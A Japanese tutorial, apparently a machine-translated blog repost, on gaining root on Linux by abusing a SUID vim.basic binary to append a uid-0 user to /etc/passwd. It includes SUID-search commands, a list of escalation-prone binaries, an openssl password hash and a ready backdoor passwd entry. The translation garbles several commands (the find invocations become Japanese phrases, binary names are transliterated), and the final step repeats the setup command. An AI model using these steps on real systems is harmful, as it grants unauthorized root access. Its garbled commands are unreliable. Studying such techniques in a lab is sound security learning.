Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

カリで再現

まず、必要なvim.basicファイルにsuid権限を設定します。

chmod u+s /usr/bin/vim.basic

まず、通常の権限を持つユーザーをadduser test1する

今は権限昇格に適した環境です

次のコマンドを使用して、suid権限を持つファイルを見つけることができます。

/ -user root -perm -4000 -print 2>/dev/null を検索します
/ -perm -u=s -type f 2>/dev/null を検索します
/ -user root -perm -4000 -exec ls -ldb {} \; を検索します。

権限昇格に使用できるファイルは次のとおりです。

  • ナノマップ
  • ヴィム
  • 探す
  • バッシュ
  • もっと
  • 少ない
  • ナノ
  • cp

vimを使用して権限を昇格するアイデアは、etc/passwdファイルを変更し、自分自身にルート権限を持つユーザーを追加することです。

パスワードファイルのユーザー形式は次のとおりです: ユーザー名:パスワード:uid:gid:コメント:ホームディレクトリ:ユーザーのシェル

ここでルートユーザーのフォーマットを見ることができます

ルート:x:0:0:root:/root:/bin/bash

(実際のパスワードは /etc/shadow ファイルに保存されるため、パスワード部分は x です)

パスワードを生成します: openssl passwd -1 –salt asd 123 を使用します (ここでは L ではなく -1 (数字の 1) です)

パスワードファイルに直接書き込みます。

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

vim /etc/passwdで変更することはできますが、保存するときにE212が表示され、変更する権限がないと表示され、保存できません。

この時点で、前に見つけた vim.basic ファイルを使用して実行する必要があります。このプログラムには suid 権限があります。間違いなく編集可能

vim.basic /etc/passwd

これを使用してファイルを開き、変更して正常に保存します

追加されたことがわかり、su toor、パスワード123に切り替えて、IDで権限を確認します。

ルート権限

chmod u+s /usr/bin/vim.basic

以上がこの記事の全内容です。皆様の勉強のお役に立てれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Trash-Cli: Linux のコマンドラインごみ箱ツール
  • Linux のごみ箱スクリプトを作成するための 101 個のスクリプト
  • Linux での中国語入力方法の問題を素早く解決する
  • MySQL を使用してポート 3306 を開いたり変更したり、Ubuntu/Linux 環境でアクセス許可を開く
  • Linux システムで Vim を使用してリモート ファイルを読み書きするコマンドの詳細な説明
  • Linux サーバーのグラフィック カードのクラッシュの解決策
  • Linux のごみ箱メカニズムの実装プロセスと使用方法の詳細な説明

<<:  jsでの位置計算を徹底的に理解するのに役立つ記事

>>:  MySQLの複合インデックス方式の詳細な説明

推薦する

Dockerコンテナ間で通信する3つの方法

Docker コンテナは互いに分離されており、相互にアクセスできないことは誰もが知っていますが、依存...

Nodeはkoa2を使用してシンプルなJWT認証方式を実装します

JWT の紹介JWTとは正式名称はJSON Web Tokenで、現在最も人気のあるクロスドメイン認...

Linux ファイル/ディレクトリの権限と所有権の管理

1. ファイルの権限と所有権の概要1. アクセス権Read r: ファイルの内容を表示し、ディレクト...

docker リモート API のワンクリック TLS 暗号化の実装

目次1. Docker の 2375 ポートを別のポートに変更します。これは一時的な対策にすぎません...

Windows DNS サーバーに「ワームレベル」の脆弱性が露呈、17 年間存在

脆弱性の紹介SigRed の脆弱性はワーム化可能であるため非常に危険です。つまり、ユーザーの介入なし...

npm グローバル モジュールのデフォルトのインストール パスを変更するためにノードのインストールをカスタマイズする手順

node を D ドライブにインストールしましたが、C ドライブのスペースを占有したくなかったため、...

選択にスタイルを追加するための純粋な CSS (スクリプトなし) 実装

通常は ul、li を介して選択のデフォルト スタイルを変更して、実現をシミュレートします。このよう...

Ubuntuにmysql5.7.10を手動でインストールする

このチュートリアルでは、UbuntuにMySQL 5.7.10を手動でインストールする手順を参考まで...

MySQL で union all を使用してユニオンソートを取得する方法

プロジェクトでは、何らかの不可逆的な理由により、テーブルに保存されたデータがページの表示要件を満たす...

mysqladmin を使用して MySQL インスタンスの現在の TPS と QPS を取得する方法

mysqladmin は管理と操作を行う公式の mysql クライアント プログラムです。MySQL...

CSS における重要なカスケード概念の詳細な説明

最近、プロジェクトの過程で問題に遭遇しました。メニューバーを常に上部に表示し、後続の要素をその下に表...

Nginx リバース プロキシを使用して go-fastdfs を実行する例

背景go-fastdfs は、http プロトコルをサポートする分散ファイルシステムです。一般的なプ...

スクロール時に選択領域のフォント色を暗くするために CSS を使用するサンプルコード

日付ピッカーをカプセル化する場合、選択時にフォントの色を暗くする必要があります。実装後の効果を見てみ...

MYSQL row_number() および over() 関数の詳細な使用方法

構文フォーマット: row_number() over(partition by grouping ...